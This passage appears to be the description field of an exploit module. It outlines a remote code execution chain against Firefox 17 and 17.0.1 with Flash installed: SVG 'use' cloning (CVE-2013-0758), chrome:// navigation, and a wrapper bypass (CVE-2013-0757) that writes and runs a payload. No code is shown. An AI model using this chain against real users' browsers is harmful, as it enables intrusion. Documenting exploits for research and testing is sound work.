      'Description'    => %q{
        This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
        the user has installed Flash. No memory corruption is used.
        First, a Flash object is cloned into the anonymous content of the SVG
        "use" element in the <body> (CVE-2013-0758). From there, the Flash object
        can navigate a child frame to a URL in the chrome:// scheme.
        Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
        around the child frame's window reference and inject code into the chrome://
        context. Once we have injection into the chrome execution context, we can write
        the payload to disk, chmod it (if posix), and then execute.
        Note: Flash is used here to trigger the exploit but any Firefox plugin
        with script access should be able to trigger it.
